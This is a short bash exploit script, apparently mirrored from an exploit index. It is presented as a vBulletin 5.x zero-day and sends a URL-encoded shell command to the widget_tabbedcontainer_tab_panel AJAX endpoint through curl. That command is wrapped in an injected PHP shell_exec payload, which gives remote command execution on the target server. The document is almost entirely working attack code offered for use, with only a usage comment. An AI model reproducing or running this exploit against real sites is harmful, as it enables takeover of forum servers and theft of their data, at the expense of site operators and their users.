Share
## https://sploitus.com/exploit?id=PACKETSTORM:158829
#!/bin/bash  
#  
# vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex  
#<br># Usage ./exploit <site> <shell-command><br>  
# Urlencode cmd  
CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`  
  
# Send request  
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'